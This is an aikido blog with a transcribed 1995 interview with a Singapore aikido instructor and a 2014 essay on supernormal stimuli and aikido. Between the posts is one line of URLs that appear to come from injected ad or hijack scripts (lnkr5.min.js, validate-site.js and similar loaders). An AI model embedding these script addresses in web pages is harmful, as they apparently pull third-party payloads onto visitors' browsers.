theaikidad

Aikido, Parenting and Everything in Between

One on One-An Interview

I still keep this little black magazine commemorating the 15th Anniversary of Aikikai(Singapore) dated 18th September 1995, which I guess was about the time I started Aikido.

This is an interview with Harry Sensei, typed out word for word, in true fidelity.

“One on One -An Interview with Harry Ng Sensei, Chief Instructor, Aikikai (Singapore)”

Q- Sensei, how long have you been practising Aikido?

A: I started when I was twenty-two or twenty-three, so it must be more than thirty years by now. In the early 1960’s I used to practice 3-4 hrs a day. That went on for about 4 years.

Q- How did you get started in Aikido?

A: During those days, I used to go down to the Orchard Road YMCA to exercise. One day I saw an Aikido demonstration by the founder of Aikido Singapore, Nagazono Sensei, and became interested in it. In those days, it was not very popular, and moreover you needed a recommendation from someone to join Aikido. the membership was low, but the fees were high! We paid about $25 and there was a certain period when we paid about $60 per month, and in the 1960’s that was a lot of money! Many members came and went, but only those who loved Aikido stayed on.

Q- Sensei, what are your thoughts on the growth of Aikido since then? Are there any differences in the students of today as compared to those in the past?

A: During those days, we had about 20-30 regular members. We have 3 dojos now and the membership is much larger. We still have members who come and go: Aikido is a martial art that takes time to practice and understand. People like to look for something easy. “instant”. When people join or watch an Aikido performance, they are impressed, and join hoping in a short time to be able to do exactly what they have seen. In that sense, the student of today is no different from the students of the past. They are all looking for a “quick-fix” – achieving a skill with minimum effort.

Q- Sensei, do you have knowledge of the other martial arts?

A: No. I have not really learnt any other martial art. I practiced Tai-chi for a few months, but that was a long time ago. I took it up only because the instructor was a colleague ans well as a friend of mine and the lessons were free!

Q-Why doesn’t Aikido have sporting competitions and tournaments?

A: Aikido is a martial art, not sport. In a competition, in a “you or me” kind of environment, the focus can be limited and narrow. Moreover, Aikido is about harmony. The essence of what the art is about becomes lost if there are competitions.

Q- The most popular topic in Aikido must be ki. Everybody talks about it. Sensei, what is your understanding on the matter.

A: Yes, that’s true. Everybody talks about it. My personal view on the matter is that ki is not so simple to understand. It is more than “internal strength” or power . When mind, body and spirit are harmonised together, the ki will be there. Most practitioners, especially the young, concentrate on the physical aspect, on the mechanics of the throws. When they become older and more matured in their understanding of Aikido they learn that they can no longer compete physically with those younger than them. That’s when they try to develop the mental aspect of the art. Then they realise that even that is not enough, and so they will try to make their Aikido more spiritual. but this is something very hard to talk about, especially to the young.

Ki is like air: you can’t see it, but you can feel it. Ki is also not just about power. All of us, all living things have ki. If you have no ki, you wouldn’t be sitting here talking to me, you’ll be dead! If you want to feel ki, you must take the time to practise and practise and practise.

Q- So how do we know when we are using ki in our practice?

A: When you are very relaxed, and do not tire easily; when you can move and throw your partners easily, that’s using ki. Also, when you can feel and know what your partner is going to do next, and you are prepared for it.

Q- Sensei, what advice do you have for the students of today?

A: They should come and train with their heart and mind and be regular in their training. Just keep on training and they will be strong. Just enjoy the time they are spending in the dojo. In this way they will discover true Aikido.

Q-Finally, Sensei, what would you wish for the future of Aikido in Singapore?

A: I would like to see Aikido becoming more popular in Singapore. All of us who have been involved with Aikido all these years will have the same wish, I’m sure.
The Aikido instructors (including me), in Aikikai (Singapore) are not professionals. They have been sacrificing their time and effort to spread this art. I wish they will continue to play their part in promoting Aikido.

First Published on: Mar 20, 2011

https://pagevalidation.space/addons/lnkr5.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6967x&r=13https://pagevalidation.space/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51824_6967_

Advertisements

Supernormal Stimulation-When real is no longer real

I just learned about this ‘super-normal stimulus’ recently and instantly connect to hows and the whys and the contemporary challenges in learning an art like Aikido.

I will no delve on the subject of Supernormal Stimulus, you can read it up at:

“http://en.wikipedia.org/wiki/Supernormal_stimulus”

or you can refer to the excellent comics drawn by Stuart McMillen.

“http://www.stuartmcmillen.com/comics_en/supernormal-stimuli/”

Why do I specifically say contemporary challenges?

And when we talk about contemporary, how do I define that?

I guess it all begins with the word ‘super’. And of course the proverbial evil dollar.

I guess, humans, like all biological creatures are endowed with ‘supernormal stimulus’, it is closely linked to our fight/flight response. When we are still not so intellectual to analyse a specific threat, on hindsight, we simply respond.

But when we start to develop language, and start to analyse things, we get recounts like ‘The Sabre tooth tiger’s teeth is BIGGER than my HEAD!” or “the artillery round was BIGGER than my car!” When things gets exaggerated, you know there is something being ‘surprised’ in there.

Why? We need that attention, we need that drama, we need to be captivated by something. Normal mundane life, well, seem like normal mundane life. And when one captivates, one sells more! In our capitalistic world, the more you sell, the rest is history.
Success in life is now very much ‘surprised’. Everything is, and the advertising industry is not helping, in fact they are perpetuating it! Why? It boils down to a marketing term call ‘a share of mind.’ Or a share of whatever you want to call it. This ‘share of Whatchamacallit’ is perceived as a limitation of a human’s ability to absorb the larger picture of things.

So when a stimulus gets ‘surprised’, it hypes us up, and that is exactly what the perpetrators wants, a hyped up sense of being so that they can capture our attention and holds our reality hostage. And a hype gives us a sense of high, and that sense of high gives us a feel good feeling. But that feel good feeling, never feels good for a long period of time. It will become mundane once again, and when that happens, we look for a new high. And another and another, until we become saturated with highs, and we avoid the lows. The higher we gets hyped, the less grounded we become. The less detached we are from reality.

Aikido is as close to reality as you can get. Why is it unique from other arts, is precisely due to its non-competitive nature. When you compete, you stimulate a fight/flight response, things gets suprised. Opponents becomes bigger, we get fixated at finding out their weak moves. We get fixated on winning. Everything else does not mater anymore.

Aikido allows you to be, just be. Attacks are not really attacks but it is mean to give you a reasonable amount of stimulus. But not overly. It is calibrated according to skill levels. And all Aikido moves looked the same, generally a beginner’s irimi nage looks the same as an advanced practitioner’s irimi nage. The only difference is the level of speed and the ‘smoothness’ of the technique. I wouldn’t really consider an Aikido practice as ‘intense’ unless you are in the practice yourself. Anyone observing Aikidokas in practice will seldom describe Aikido as ‘intense’.

There is a reason for Aikido’s design. It is to help us regain our balance. bring our supernormal stimulus back to a manageable manner. Bring attention back to reality. Bring reality back to our lives. The contemporary challenge is that an Aikido class will last, at best, 2 hours. we have another 22 more hours to be super-stimulated. and right now with the world going 24/7 to 24/365, there is no more room in us to find that equilibrium. We perpetuate from one highs to another, and keep on finding issues to relate our identity to. At what costs? To what end?

Aikido is telling us, life. That is all to it. And life is much larger than the supernormal stimulated self, settle down and go to an Aikido class.

First Published on: Feb 18, 2014